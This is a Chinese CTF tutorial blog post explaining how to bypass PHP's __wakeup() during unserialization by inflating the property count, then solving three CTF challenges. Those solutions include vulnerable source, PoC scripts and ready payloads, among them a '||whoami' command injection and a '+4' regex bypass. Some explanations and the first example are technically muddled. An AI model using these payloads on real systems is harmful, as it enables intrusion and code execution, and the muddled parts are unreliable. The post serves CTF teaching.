CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

news/2024/12/29 21:38:34/

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

目录

  • 1. __wakeup()介绍
  • 2.__wakeup()绕过
  • 3. 绕过应用举例
  • 4. 真实赛题
    • 4.1 赛题一
    • 赛题2 攻防世界 Web_php_unserialize
    • 赛题三:极客⼤挑战 2019 PHP(综合题目)

1. __wakeup()介绍

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

下面是一个简单的示例,它演示了如何在一个 PHP 对象中使用 __wakeup() 方法:

class Example {public $a = 1;public $b = 2;public function __wakeup() {$this->a *= 2;$this->b *= 2;}
}$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a$b。在 __wakeup() 方法中,我们将 $a$b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本,输出将是:

object(Example)#2 (2) {["a"]=>int(2)["b"]=>int(4)
}

正如预期的那样,我们的 __wakeup() 方法成功地修改了 $a$b 的值。

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

2.__wakeup()绕过

然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

具体来说,当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。

以下是一个漏洞利用的示例代码:

class Example {private $a = 1;private $b = 2;public function __wakeup() {if ($this->a != 1 || $this->b != 2) {die("Invalid values for a and b");}}
}$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它有两个私有属性 $a$b__wakeup() 方法检查 $a$b 的值是否为 1 和 2。然后我们手动序列化了一个 Example 对象,并使用 O 类型的序列化字符串将其包装起来。在这种情况下,我们添加了一个新属性 $c,并将属性数量设置为 3。然后,我们使用 str_replace() 函数将序列化字符串中属性的数量修改为 2,从而绕过了 __wakeup() 函数的安全检查。因此,运行这个脚本,输出将是:

object(Example)#2 (2) {["a":"Example":private]=>int(2)["b":"Example":private]=>int(3)
}

3. 绕过应用举例

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

4. 真实赛题

4.1 赛题一

  • 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{private $method;private $args;function __construct($method, $args){$this->method = $method;$this->args = $args;}function __destruct(){// TODO: Implement __destruct() method.if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}}function ping($host){system("ping -C 2 $host");}function __wakeup(){$this->args = array("127.0.0.1");}
}
$a=@$_GET['a'];
@unserialize($a);
?>
  • 解题思路
  1. 关键点在于__wakeup将所有参数均变为127.0.0.1
  2. 需要拼接命令,如ping -c 2;ls或ping -c 2|ls
  3. 构造poc

因为我是在windows10系统上起的服务,系统命令使用whoami

<?php
class home
{private $method='ping';private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>

在这里插入图片描述
原始序列化字符串:
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ,修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
在这里插入图片描述

赛题2 攻防世界 Web_php_unserialize

  • 题目
    在这里插入图片描述
<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>
  • 代码解释
    只说绕过点处的正则分析
 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
功能代码
匹配模式/[oc]:\d+:/i
判断变量是否匹配模式preg_match(‘/[oc]:\d+:/i’, $var)
匹配规则匹配一个字符集 [oc],后跟一个冒号 :,再跟一个或多个数字 \d+,最后再跟一个冒号 :
匹配字符串示例o:123:、c:456:、O:789:、C:321:
匹配字符串示例(不匹配)abc、1234、o: abc:
匹配修饰符i,表示忽略大小写
匹配结果判断如果变量 $var 匹配模式,则执行 die(‘stop hacking!’)
序列化/反序列化如果变量 $var 不匹配模式,则使用 unserialize() 函数对 $var 进行反序列化
  • 解题思路
  1. 其余不再分析,只说这道题特有的考点
  2. 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)

匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤

绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测

  1. 对private中%00的绕过,此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化,并直接base64,注意参考POC
<?php
class Demo { private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);?>// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

赛题三:极客⼤挑战 2019 PHP(综合题目)

极客⼤挑战 2019 PHP
在这里插入图片描述

  • 题目

一只猫,爱备份

  • 解题思路
  1. 既然提示了爱备份,使用burp加载CTF字典扫描,果然扫到备份地址

在这里插入图片描述

  1. 访问/www.zip 自动下载源码。index.php源码如下
 <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

其中class.php源码如下

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
  1. 分析源码,class.php已经包含了flag文件 。在反序列化过程中,会自动触发__wakeup()和__destruct()这两个魔法函数。首先根据__destruct()可知,username=='admin'同时password=100可响应flag
  2. 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。修改属性数量值即可
  3. 构造poc,一击必杀
<?php
class Name{private $username = 'admin';private $password = '100';
}$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/

攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在这里插入图片描述

下篇文章是php序列化的最后一篇文章,关于phar反序列化,敬请期待~


http://www.ppmy.cn/news/74970.html

相关文章

RocketMQ学习

各MQ 并发性能比较 吞吐量 kafka 17.3w/s rocketMQ 11.6w/s RabbitMQ 5.96w/s RocketMQ组件 broker 核心业务组件 nameServe 保存broker 的ip、端口、上下线信息等。 类似注册中心 启动nameServe 时会调用 runserver 启动broker &#xff0c;会默认读取/conf/broker.conf …

Netty实战(七)

EventLoop和线程模型 一、什么是线程模型二、EventLoop 接口2.14 Netty 4 中的 I/O 和事件处理 三、任务调度3.1 JDK 的任务调度 API3.2 使用 EventLoop 调度任务 四、实现细节4.1 线程管理4.2 EventLoop/线程的分配4.2.1 异步传输4.2.2 &#xff0e;阻塞传输 一、什么是线程模…

Linux(云计算)期末复习资料

1&#xff1a;linux概述 ​ Linux是一种自由、开放源代码的操作系统&#xff0c;它最初由芬兰的Linus Torvalds在1991年开发&#xff0c;目前已经成为世界上最流行的操作系统之一。Linux操作系统的特点是免费、稳定、安全、可定制、可移植性强、支持多任务、多用户等。 2&…

什么是半实物仿真平台自动驾驶半实物仿真平台有哪些?

文章目录 半实物仿真平台介绍自动驾驶半实物仿真平台介绍1.CARLA2.AirSim3.LGSVL Simulator 半实物仿真平台介绍 半实物仿真平台是一种综合利用虚拟仿真和实际硬件设备的仿真系统。它将虚拟环境和真实硬件设备结合起来&#xff0c;旨在提供更真实、更准确的仿真体验。 在半实…

Centos7单机部署Flink13.6及测试FinkCDC同步MySQL

一、背景 公司CDH6.3.2里面的版本是Flink1.12.0。而因为FlinkCDC2.0.0只支持Flink1.13.0以后&#xff0c;版本不匹配&#xff0c;所以只能升级版本。但是升级版本是个大工程&#xff0c;要编译、要parcel制作工具&#xff0c;而且是生产环境的升级&#xff0c;没办法因为要测试…

ubuntu中安装autogpt,python虚拟环境安装使用

ubuntu中安装autogpt&#xff0c;python虚拟环境安装使用 git安装 https://gitforwindows.org python3.10安装&#xff1a; autogpt支持python版本是3.10&#xff0c;ubuntu20.04中默认版本3.8是不支持的。 安装虚拟环境 sudo add-apt-repository ppa:deadsnakes/ppa sudo…

数据结构(C语言):一元多项式的操作(链表实现)

一、题目 一元多项式的操作 设有两个一元多项式&#xff1a; p(x)p0p1xp2x2pnxn q(x)q0q1xq2x2qmxm 多项式项的系数为实数&#xff0c;指数为整数&#xff0c;设计实现一元多项式操作的程序&#xff1a; ① 多项式链表建立&#xff1a;以&#xff08;系数&#xff0c;指数…

亚马逊开放个人卖家验证入口?亚马逊卖家验证到底怎么搞?

亚马逊卖家账户的安全对于所有卖家来说都非常重要。如果卖家想要在亚马逊上长期稳定地发展&#xff0c;赚取更多的钱并推出更多热卖产品&#xff0c;就必须确保他们的亚马逊卖家账户安全&#xff0c;特别是一直存在的亚马逊账户验证问题。 近期&#xff0c;根据亚马逊官方披露的…